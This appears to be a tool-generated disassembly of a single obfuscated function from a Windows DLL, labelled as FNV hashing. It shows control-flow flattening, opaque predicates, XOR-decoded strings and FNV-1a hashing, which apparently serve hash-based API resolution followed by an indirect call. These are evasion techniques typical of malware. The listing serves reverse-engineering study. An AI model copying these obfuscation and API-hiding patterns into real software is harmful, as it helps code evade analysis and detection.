Function at 0x180003610
Capabilities:
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x11a8
call fcn.1800fab80
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x58], rcx
mov rax, qword [0x180128a08]
xor rax, rbp
mov qword [rbp + 0x1120], rax
mov eax, 0x49430fb1
mov r14d, 0x6c07be63
mov r15d, 0xf8158d7f
mov r12d, 0xdf01bde6
mov r10d, 0xfcf4cc8a
mov r11d, 0xa2d30736
jmp 0x1800036a0
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947d046e
mov ecx, 0x31c6f3e4
cmove eax, ecx
cmp dword [0x1801294fc], 0xa
cmovl eax, ecx
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xf1a61da9
jle 0x180004700
cmp eax, 0x31c6f3e3
jg 0x180004750
cmp eax, 0xb2fed7d
jg 0x18000480c
cmp eax, 0x12dea59
jg 0x180004941
cmp eax, 0xf1a61daa
je 0x180004b3a
cmp eax, 0xf43b1740
je 0x180004b53
cmp eax, 0xfdd3af30
jne 0x1800036a0
mov rax, qword [rbp + 0xa0]
mov r9, qword [rbp + 0xa0]
mov eax, dword [0x180129500]
mov ecx, dword [0x180129504]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xdf]
cmp ecx, 0xa
setl byte [rbp + 0xf7]
mov edx, 0xd371ebdd
jmp 0x180003730
mov edx, 0x6c07be63
nop dword [rax]
cmp edx, 0xf8158d7e
jg 0x180003780
cmp edx, 0xdca229ac
jg 0x1800037d0
cmp edx, 0xa2d30736
je 0x18000398d
cmp edx, 0xd371ebdd
jne 0x180003730
mov al, byte [rbp + 0xdf]
cmp byte [rbp + 0xf7], 0
mov edx, 0x60062889
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x180003730
cmp edx, 0x60062888
jle 0x1800038c0
cmp edx, 0x60062889
je 0x180003724
cmp edx, 0x6c07be63
jne 0x180003730
mov qword [rbp + 0xb8], r9
mov eax, dword [0x180129500]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x60062889
cmove edx, r11d
cmp dword [0x180129504], 0xa
cmovl edx, r11d
jmp 0x180003730
cmp edx, 0xdca229ad
je 0x180003997
cmp edx, 0xead46714
jne 0x180003730
mov rax, qword [rbp + 0xb8]
mov byte [rax], 0x48
mov rdx, qword [rbp + 0xb8]
mov eax, dword [0x180129508]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0xd0]
mov eax, dword [0x18012950c]
mov edi, 0x159dc55c
cmove edi, r12d
cmp eax, 0xa
setl byte [rbp + 0xd8]
cmovl edi, r12d
mov ebx, 0x6a343fd3
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xfcf4cc89
jg 0x180003870
cmp ebx, 0xdf01bde6
je 0x1800038a7
cmp ebx, 0xe3ec8601
je 0x1800038ae
cmp ebx, 0xeb7e93fb
jne 0x180003840
jmp 0x1800039b4
cmp ebx, 0xfcf4cc8a
je 0x1800038b5
cmp ebx, 0x159dc55c
je 0x1800038b9
cmp ebx, 0x6a343fd3
jne 0x180003840
movzx eax, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ebx, 0x159dc55c
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x180003840
mov ebx, 0xe3ec8601
jmp 0x180003840
mov ebx, 0xeb7e93fb
jmp 0x180003840
mov ebx, edi
jmp 0x180003840
mov ebx, 0xfcf4cc8a
jmp 0x180003840
cmp edx, 0x12a7a0c4
jne 0x180004177
mov eax, dword [0x180129508]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0xd0]
mov eax, dword [0x18012950c]
mov ecx, 0x159dc55c
cmove ecx, r12d
cmp eax, 0xa
setl byte [rbp + 0xd8]
cmovl ecx, r12d
mov eax, 0x6a343fd3
nop word cs:[rax + rax]
nop
cmp eax, 0xfcf4cc89
jg 0x180003940
cmp eax, 0xdf01bde6
je 0x180003974
cmp eax, 0xe3ec8601
je 0x18000397b
cmp eax, 0xeb7e93fb
jne 0x180003910
jmp 0x1800039e7
cmp eax, 0xfcf4cc8a
je 0x180003982
cmp eax, 0x159dc55c
je 0x180003986
cmp eax, 0x6a343fd3
jne 0x180003910
movzx edx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov eax, 0x159dc55c
cmovne eax, r10d
test dl, dl
cmovne eax, r10d
jmp 0x180003910
mov eax, 0xe3ec8601
jmp 0x180003910
mov eax, 0xeb7e93fb
jmp 0x180003910
mov eax, ecx
jmp 0x180003910
mov eax, 0xfcf4cc8a
jmp 0x180003910
mov edx, 0xead46714
jmp 0x180003730
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0xc0]
mov edx, 0xdca229ad
cmove edx, r15d
jmp 0x180003730
mov dword [rbp + 0xe0], 0x4d
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop word [rax + rax]
cmp ecx, 0x8dd9789e
je 0x180003a1b
cmp ecx, 0xa29e9792
jne 0x1800039d0
mov ecx, 0x8dd9789e
jmp 0x1800039d0
mov dword [rbp + 0xe0], 0x57
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop word [rax + rax]
cmp ecx, 0x8dd9789e
je 0x180003af0
cmp ecx, 0xa29e9792
jne 0x180003a00
mov ecx, 0x8dd9789e
jmp 0x180003a00
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov byte [rdx + 1], cl
mov eax, dword [0x180129508]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0xd0]
mov eax, dword [0x18012950c]
mov edi, 0x159dc55c
cmove edi, r12d
cmp eax, 0xa
setl byte [rbp + 0xd8]
cmovl edi, r12d
mov ebx, 0x6a343fd3
nop dword [rax]
cmp ebx, 0xfcf4cc89
jg 0x180003aa0
cmp ebx, 0xdf01bde6
je 0x180003ad7
cmp ebx, 0xe3ec8601
je 0x180003ade
cmp ebx, 0xeb7e93fb
jne 0x180003a70
jmp 0x180003b38
cmp ebx, 0xfcf4cc8a
je 0x180003ae5
cmp ebx, 0x159dc55c
je 0x180003ae9
cmp ebx, 0x6a343fd3
jne 0x180003a70
movzx eax, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ebx, 0x159dc55c
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x180003a70
mov ebx, 0xe3ec8601
jmp 0x180003a70
mov ebx, 0xeb7e93fb
jmp 0x180003a70
mov ebx, edi
jmp 0x180003a70
mov ebx, 0xfcf4cc8a
jmp 0x180003a70
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
add al, 8
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov rax, qword [rbp + 0xc8]
mov byte [rax], cl
mov r8, qword [rbp + 0xc8]
add r8, 1
mov rax, qword [rbp + 0xb8]
add rax, 0xb
mov qword [rbp + 0xc0], rax
mov edx, 0xdca229ad
jmp 0x180003730
mov dword [rbp + 0xe0], WSAStartup
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop dword [rax + rax]
cmp ecx, 0x8dd9789e
je 0x180003b67
cmp ecx, 0xa29e9792
jne 0x180003b50
mov ecx, 0x8dd9789e
jmp 0x180003b50
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
add al, 1
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov byte [rdx + 2], cl
mov eax, dword [0x180129508]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0xd0]
mov eax, dword [0x18012950c]
mov edi, 0x159dc55c
cmove edi, r12d
cmp eax, 0xa
setl byte [rbp + 0xd8]
cmovl edi, r12d
mov ebx, 0x6a343fd3
nop word [rax + rax]
cmp ebx, 0xfcf4cc89
jg 0x180003bf0
cmp ebx, 0xdf01bde6
je 0x180003c27
cmp ebx, 0xe3ec8601
je 0x180003c2e
cmp ebx, 0xeb7e93fb
jne 0x180003bc0
jmp 0x180003c40
cmp ebx, 0xfcf4cc8a
je 0x180003c35
cmp ebx, 0x159dc55c
je 0x180003c39
cmp ebx, 0x6a343fd3
jne 0x180003bc0
movzx eax, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ebx, 0x159dc55c
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x180003bc0
mov ebx, 0xe3ec8601
jmp 0x180003bc0
mov ebx, 0xeb7e93fb
jmp 0x180003bc0
mov ebx, edi
jmp 0x180003bc0
mov ebx, 0xfcf4cc8a
jmp 0x180003bc0
mov dword [rbp + 0xe0], 0x76
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8dd9789e
je 0x180003c77
cmp ecx, 0xa29e9792
jne 0x180003c60
mov ecx, 0x8dd9789e
jmp 0x180003c60
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
add al, 2
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov byte [rdx + 3], cl
mov eax, dword [0x180129508]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete byte [rbp + 0xd0]
mov esi, dword [0x18012950c]
mov eax, 0x159dc55c
cmove eax, r12d
cmp esi, 0xa
setl byte [rbp + 0xd8]
cmovl eax, r12d
mov ebx, 0x6a343fd3
nop dword [rax + rax]
cmp ebx, 0xfcf4cc89
jg 0x180003d00
cmp ebx, 0xdf01bde6
je 0x180003d37
cmp ebx, 0xe3ec8601
je 0x180003d3e
cmp ebx, 0xeb7e93fb
jne 0x180003cd0
jmp 0x180003d50
cmp ebx, 0xfcf4cc8a
je 0x180003d45
cmp ebx, 0x159dc55c
je 0x180003d49
cmp ebx, 0x6a343fd3
jne 0x180003cd0
movzx ecx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ebx, 0x159dc55c
cmovne ebx, r10d
test cl, cl
cmovne ebx, r10d
jmp 0x180003cd0
mov ebx, 0xe3ec8601
jmp 0x180003cd0
mov ebx, 0xeb7e93fb
jmp 0x180003cd0
mov ebx, eax
jmp 0x180003cd0
mov ebx, 0xfcf4cc8a
jmp 0x180003cd0
mov dword [rbp + 0xe0], 0x65
movsx rcx, byte [r9]
mov ebx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x8dd9789e
je 0x180003d87
cmp ebx, 0xa29e9792
jne 0x180003d70
mov ebx, 0x8dd9789e
jmp 0x180003d70
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xe8]
add cl, 3
mov ebx, dword [rbp + 0xe0]
xor bl, cl
test dil, 1
mov byte [rdx + 4], bl
sete byte [rbp + 0xd0]
cmp esi, 0xa
setl byte [rbp + 0xd8]
mov ecx, 0x6a343fd3
nop dword [rax]
cmp ecx, 0xfcf4cc89
jg 0x180003df0
cmp ecx, 0xdf01bde6
je 0x180003e27
cmp ecx, 0xe3ec8601
je 0x180003e2e
cmp ecx, 0xeb7e93fb
jne 0x180003dc0
jmp 0x180003e40
cmp ecx, 0xfcf4cc8a
je 0x180003e35
cmp ecx, 0x159dc55c
je 0x180003e39
cmp ecx, 0x6a343fd3
jne 0x180003dc0
movzx ebx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ecx, 0x159dc55c
cmovne ecx, r10d
test bl, bl
cmovne ecx, r10d
jmp 0x180003dc0
mov ecx, 0xe3ec8601
jmp 0x180003dc0
mov ecx, 0xeb7e93fb
jmp 0x180003dc0
mov ecx, eax
jmp 0x180003dc0
mov ecx, 0xfcf4cc8a
jmp 0x180003dc0
mov dword [rbp + 0xe0], 0x46
movsx rcx, byte [r9]
mov ebx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x8dd9789e
je 0x180003e77
cmp ebx, 0xa29e9792
jne 0x180003e60
mov ebx, 0x8dd9789e
jmp 0x180003e60
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xe8]
add cl, 4
mov ebx, dword [rbp + 0xe0]
xor bl, cl
test dil, 1
mov byte [rdx + 5], bl
sete byte [rbp + 0xd0]
cmp esi, 0xa
setl byte [rbp + 0xd8]
mov ecx, 0x6a343fd3
nop dword [rax]
cmp ecx, 0xfcf4cc89
jg 0x180003ee0
cmp ecx, 0xdf01bde6
je 0x180003f17
cmp ecx, 0xe3ec8601
je 0x180003f1e
cmp ecx, 0xeb7e93fb
jne 0x180003eb0
jmp 0x180003f30
cmp ecx, 0xfcf4cc8a
je 0x180003f25
cmp ecx, 0x159dc55c
je 0x180003f29
cmp ecx, 0x6a343fd3
jne 0x180003eb0
movzx ebx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ecx, 0x159dc55c
cmovne ecx, r10d
test bl, bl
cmovne ecx, r10d
jmp 0x180003eb0
mov ecx, 0xe3ec8601
jmp 0x180003eb0
mov ecx, 0xeb7e93fb
jmp 0x180003eb0
mov ecx, eax
jmp 0x180003eb0
mov ecx, 0xfcf4cc8a
jmp 0x180003eb0
mov dword [rbp + 0xe0], 0x69
movsx rcx, byte [r9]
mov ebx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x8dd9789e
je 0x180003f67
cmp ebx, 0xa29e9792
jne 0x180003f50
mov ebx, 0x8dd9789e
jmp 0x180003f50
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xe8]
add cl, 5
mov ebx, dword [rbp + 0xe0]
xor bl, cl
test dil, 1
mov byte [rdx + 6], bl
sete byte [rbp + 0xd0]
cmp esi, 0xa
setl byte [rbp + 0xd8]
mov ecx, 0x6a343fd3
nop dword [rax]
cmp ecx, 0xfcf4cc89
jg 0x180003fd0
cmp ecx, 0xdf01bde6
je 0x180004007
cmp ecx, 0xe3ec8601
je 0x18000400e
cmp ecx, 0xeb7e93fb
jne 0x180003fa0
jmp 0x180004020
cmp ecx, 0xfcf4cc8a
je 0x180004015
cmp ecx, 0x159dc55c
je 0x180004019
cmp ecx, 0x6a343fd3
jne 0x180003fa0
movzx ebx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ecx, 0x159dc55c
cmovne ecx, r10d
test bl, bl
cmovne ecx, r10d
jmp 0x180003fa0
mov ecx, 0xe3ec8601
jmp 0x180003fa0
mov ecx, 0xeb7e93fb
jmp 0x180003fa0
mov ecx, eax
jmp 0x180003fa0
mov ecx, 0xfcf4cc8a
jmp 0x180003fa0
mov dword [rbp + 0xe0], WSAStartup
movsx rcx, byte [r9]
mov ebx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x8dd9789e
je 0x180004057
cmp ebx, 0xa29e9792
jne 0x180004040
mov ebx, 0x8dd9789e
jmp 0x180004040
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xe8]
add cl, 6
mov ebx, dword [rbp + 0xe0]
xor bl, cl
test dil, 1
mov byte [rdx + 7], bl
sete byte [rbp + 0xd0]
cmp esi, 0xa
setl byte [rbp + 0xd8]
mov ecx, 0x6a343fd3
nop dword [rax]
cmp ecx, 0xfcf4cc89
jg 0x1800040c0
cmp ecx, 0xdf01bde6
je 0x1800040f7
cmp ecx, 0xe3ec8601
je 0x1800040fe
cmp ecx, 0xeb7e93fb
jne 0x180004090
jmp 0x180004110
cmp ecx, 0xfcf4cc8a
je 0x180004105
cmp ecx, 0x159dc55c
je 0x180004109
cmp ecx, 0x6a343fd3
jne 0x180004090
movzx ebx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ecx, 0x159dc55c
cmovne ecx, r10d
test bl, bl
cmovne ecx, r10d
jmp 0x180004090
mov ecx, 0xe3ec8601
jmp 0x180004090
mov ecx, 0xeb7e93fb
jmp 0x180004090
mov ecx, eax
jmp 0x180004090
mov ecx, 0xfcf4cc8a
jmp 0x180004090
mov dword [rbp + 0xe0], 0x65
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8dd9789e
je 0x180004147
cmp ecx, 0xa29e9792
jne 0x180004130
mov ecx, 0x8dd9789e
jmp 0x180004130
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
add al, 7
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov byte [rdx + 8], cl
add rdx, 9
mov qword [rbp + 0xc8], rdx
mov edx, 0x12a7a0c4
jmp 0x180003730
cmp edx, 0xf8158d7f
jne 0x180003730
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call fcn.18000c350
add rsp, 0x20
mov ecx, dword [0x1801294d8]
mov edx, dword [0x1801294dc]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xd7]
cmp edx, 0xa
setl dl
setl byte [rbp + 0xd6]
or dl, cl
mov edx, 0xc8c5b29f
mov ecx, 0x8063f108
cmovne edx, ecx
mov dword [rbp + 0xb4], edx
mov r10d, 0xc8c5b29f
mov ecx, 0x7ddfb06
cmovne r10d, ecx
mov r11d, 0xec12727d
mov ecx, 0x1d57daac
cmovne r11d, ecx
mov r14d, 0xec12727d
mov ecx, 0x18cb5172
cmovne r14d, ecx
mov r9d, 0xe9e21f4b
mov ecx, 0x4e6deaae
cmovne r9d, ecx
mov ecx, 0xe71cb6cf
jmp 0x180004220
mov ecx, 0x18cb5172
mov esi, ecx
cmp ecx, 0xe9e21f4a
jle 0x180004280
cmp esi, 0x2cebdf0a
jle 0x1800042d0
cmp esi, 0x553ba0a3
jle 0x180004386
cmp esi, 0x5f30b901
jg 0x18000448d
cmp esi, 0x553ba0a4
je 0x1800045db
mov ecx, esi
cmp esi, 0x5cf0a5d0
jne 0x180004220
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov ecx, 0xa0e5e177
jmp 0x180004220
cmp esi, 0xb4b5f8a9
jg 0x180004320
cmp esi, 0xacd1a4a1
jle 0x1800043b6
cmp esi, 0xae2d49db
jg 0x18000452e
cmp esi, 0xacd1a4a2
je 0x1800045ec
mov ecx, esi
cmp esi, 0xacd9a7e7
jne 0x180004220
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xe0]
jmp 0x180004220
cmp esi, 0x1e9535f
jle 0x1800043f5
cmp esi, 0x18cb5171
jg 0x180004553
mov ecx, r14d
cmp esi, 0x1e95360
je 0x180004220
mov ecx, esi
cmp esi, 0x7ddfb06
jne 0x180004220
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov ecx, dword [rbp + 0xb4]
jmp 0x180004220
cmp esi, 0xc62339db
jle 0x180004435
cmp esi, 0xd0fc2277
jg 0x18000457a
cmp esi, 0xc62339dc
je 0x180004605
mov ecx, esi
cmp esi, 0xc8c5b29f
jne 0x180004220
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, 0x7ddfb06
jmp 0x180004220
cmp esi, 0x4e6deaad
jle 0x1800045b9
cmp esi, 0x4e6deaae
je 0x18000462d
mov ecx, esi
cmp esi, 0x52a9d8f6
jne 0x180004220
mov ecx, 0x2cebdf0b
jmp 0x180004220
cmp esi, 0x8044d379
je 0x180004637
cmp esi, 0x8063f108
je 0x180004651
mov ecx, esi
cmp esi, 0xa0e5e177
jne 0x180004220
cmp byte [rbp + 0xf7], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x180004220
cmp esi, 0xe9e21f4b
je 0x18000465b
cmp esi, 0xec12727d
je 0x18000421b
mov ecx, esi
cmp esi, 0xffb5b154
jne 0x180004220
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0xdf], cl
mov ecx, 0xc62339dc
jmp 0x180004220
cmp esi, 0xb4b5f8aa
je 0x180004665
cmp esi, 0xbd5aa87e
je 0x18000467e
mov ecx, esi
cmp esi, 0xbf71e338
jne 0x180004220
mov dword [rbp + 0xc8], r15d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x180004220
cmp esi, 0x5f30b902
je 0x18000468f
mov ecx, esi
cmp esi, 0x66a81c96
jne 0x180004220
movsxd r13, r12d
mov rcx, qword [rbp + 0xe8]
mov rsi, rcx
movabs r8, 0x4ad202c4d6352806
and rsi, r8
movabs rdx, 0x300c2021098a5629
or rsi, rdx
movabs rbx, 0xb52dfd3b29cad7f9
and rcx, rbx
xor rcx, rsi
mov rsi, rcx
movabs rdx, 0x7ade22e5dfbf7e2f
xor rsi, rdx
mov rdi, r13
xor rdi, r8
movabs rdx, 0x8521dd1a204081d0
xor rcx, rdx
and rcx, rdi
xor r13, rbx
and r13, rsi
or r13, rcx
movabs rcx, 0x100000001b3
imul r13, rcx
mov edi, dword [rbp + 0xc0]
add edi, 1
mov ecx, 0xd0fc2278
jmp 0x180004220
mov ecx, r10d
cmp esi, 0xae2d49dc
je 0x180004220
mov ecx, esi
cmp esi, 0xae32b02c
jne 0x180004220
mov ecx, r9d
jmp 0x180004220
mov ecx, r11d
cmp esi, 0x18cb5172
je 0x180004220
mov ecx, esi
cmp esi, 0x1d57daac
jne 0x180004220
mov ecx, 0x5f30b902
jmp 0x180004220
cmp esi, 0xd0fc2278
je 0x18000469c
mov ecx, esi
cmp esi, 0xe71cb6cf
jne 0x180004220
movzx ebx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov ecx, 0xe9e21f4b
mov edx, 0xae32b02c
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
jmp 0x180004220
cmp esi, 0x2cebdf0b
jne 0x1800046c9
mov ecx, 0xd0fc2278
xor edi, edi
movabs r13, 0xcbf29ce484222325
jmp 0x180004220
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xb8]
jmp 0x180004220
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov ecx, 0xbd5aa87e
jmp 0x180004220
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x180004220
mov ecx, 0x1e95360
jmp 0x180004220
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov ecx, 0xb4b5f8aa
jmp 0x180004220
mov ecx, 0x553ba0a4
jmp 0x180004220
mov ecx, 0xae32b02c
jmp 0x180004220
cmp byte [rbp + 0xd5], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x180004220
mov ecx, 0xbf71e338
mov r15d, dword [rbp + 0xd8]
jmp 0x180004220
mov ecx, 0xbf71e338
xor r15d, r15d
jmp 0x180004220
mov dword [rbp + 0xc0], edi
mov qword [rbp + 0xe8], r13
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x180004220
mov ecx, esi
cmp esi, 0x3fbb12b4
jne 0x180004220
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov eax, 0x99ab290e
jmp 0x18000b4b7
cmp eax, 0xafffd904
jle 0x1800047c0
cmp eax, 0xd7e04b8a
jg 0x180004856
cmp eax, 0xcabf83d9
jg 0x18000496c
cmp eax, 0xafffd905
je 0x180004b5d
cmp eax, 0xb3a29a8d
je 0x180004d26
cmp eax, 0xc5cd56f8
jne 0x1800036a0
mov eax, 0xcb895d23
jmp 0x1800036a0
cmp eax, 0x58226ae9
jg 0x1800048a0
cmp eax, 0x462c5f6e
jg 0x1800049a1
cmp eax, 0x31c6f3e4
je 0x180004d30
cmp eax, 0x31d42667
je 0x180004d3a
cmp eax, 0x3ff99fa8
jne 0x1800036a0
mov rax, qword [rbp - 0x28]
sub rax, qword [rbp + 0x38]
cmp rax, 0x4000
mov ecx, 0x4000
cmovge eax, ecx
mov dword [rbp + 0x88], eax
mov rax, qword [rbp + 0x68]
mov qword [rbp - 0x30], rax
mov eax, 0x12dea5a
jmp 0x1800036a0
cmp eax, 0x99ab290d
jg 0x1800048ea
cmp eax, 0x947d046d
jg 0x1800049d9
cmp eax, 0x892a39d3
je 0x180004d5e
cmp eax, 0x8d5179c4
je 0x180004db3
cmp eax, 0x92a8f288
jne 0x1800036a0
mov eax, 0xcabf83da
mov rcx, qword [rbp + 0x80]
mov qword [rbp + 0x18], rcx
jmp 0x1800036a0
cmp eax, 0x160c7cfc
jg 0x180004a49
cmp eax, 0xb2fed7e
je 0x180004dbd
cmp eax, 0x139313fe
je 0x180004e11
cmp eax, 0x142742f1
jne 0x1800036a0
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfdd3af30
mov ecx, 0x99ab290e
jmp 0x180003684
cmp eax, 0xe42bd44b
jg 0x180004a88
cmp eax, 0xd7e04b8b
je 0x18000498d
cmp eax, 0xd83bf567
je 0x180004e90
cmp eax, 0xdb3a684e
jne 0x1800036a0
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8d5179c4
mov ecx, 0xf43b1740
jmp 0x180003684
cmp eax, 0x764a5435
jg 0x180004acb
cmp eax, 0x58226aea
je 0x180004e9a
cmp eax, 0x61f6fbb0
je 0x180004eb0
cmp eax, 0x6f6def69
jne 0x1800036a0
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947d046e
mov ecx, 0x764a5436
jmp 0x180003684
cmp eax, 0x9ffd43c9
jg 0x180004b02
cmp eax, 0x99ab290e
je 0x180005603
cmp eax, 0x9d21d07d
je 0x18000498d
cmp eax, 0x9f8338ab
jne 0x1800036a0
mov rax, qword [rbp - 0x70]
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
mov r11d, 0xa2d30736
mov r10d, 0xfcf4cc8a
add rsp, 0x20
mov eax, 0xefd78ae1
jmp 0x1800036a0
cmp eax, 0x12dea5a
je 0x18000663a
cmp eax, 0x268162d
je 0x180006f7f
cmp eax, 0x9400e1b
jne 0x1800036a0
mov eax, 0x230052d2
jmp 0x1800036a0
cmp eax, 0xcabf83da
je 0x1800072ac
cmp eax, 0xcb895d23
je 0x1800072be
cmp eax, 0xd2a1bd5d
jne 0x1800036a0
mov eax, 0xa55f0968
mov dword [rbp + 0xac], 0
jmp 0x1800036a0
cmp eax, 0x462c5f6f
je 0x1800072e5
cmp eax, 0x49430fb1
je 0x1800072fb
cmp eax, 0x53cbc744
jne 0x1800036a0
cmp qword [rbp - 0x48], 0
mov eax, 0x7c8f9ed6
mov ecx, 0x6f6def69
cmove eax, ecx
jmp 0x1800036a0
cmp eax, 0x947d046e
je 0x180007458
cmp eax, 0x95bfe491
je 0x180007462
cmp eax, 0x972cb1ff
jne 0x1800036a0
sub rsp, 0x20
call fcn.18010843c
mov r11d, 0xa2d30736
mov r10d, 0xfcf4cc8a
add rsp, 0x20
cdqe
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x23
add ecx, edx
lea edx, [rcx + rcx*4]
lea edx, [rdx + rdx*4]
add edx, ecx
neg edx
add eax, edx
add eax, 0x61
mov word [rbp + 0xaa], ax
mov eax, 0x31d42667
jmp 0x1800036a0
cmp eax, 0x160c7cfd
je 0x180007474
cmp eax, 0x230052d2
je 0x1800074b2
cmp eax, 0x2765ab26
mov r10d, 0xfcf4cc8a
mov r11d, 0xa2d30736
jne 0x1800036a0
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x20], rax
mov eax, 0x139313fe
jmp 0x1800036a0
cmp eax, 0xe42bd44c
je 0x1800074e6
cmp eax, 0xe8555030
je 0x1800076ea
cmp eax, 0xefd78ae1
jne 0x1800036a0
mov rax, qword [rbp - 0x40]
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8d5179c4
mov ecx, 0xdb3a684e
jmp 0x180003684
cmp eax, 0x764a5436
je 0x18000366b
cmp eax, 0x77a5d114
je 0x180007743
cmp eax, 0x7c8f9ed6
jne 0x1800036a0
mov rax, qword [rbp - 0x48]
add rax, 2
mov qword [rbp - 0x78], rax
mov eax, 0x95bfe491
jmp 0x1800036a0
cmp eax, 0x9ffd43ca
je 0x180007757
cmp eax, 0xa4849ac5
jne 0x18000b4da
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
cmp word [rax], 0
mov eax, 0x972cb1ff
mov ecx, 0x142742f1
cmove eax, ecx
jmp 0x1800036a0
cmp byte [rbp + 0xb3], 0
mov eax, 0x77a5d114
mov ecx, 0xd2a1bd5d
cmovne eax, ecx
jmp 0x1800036a0
mov eax, 0xc5cd56f8
jmp 0x1800036a0
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x40], rax
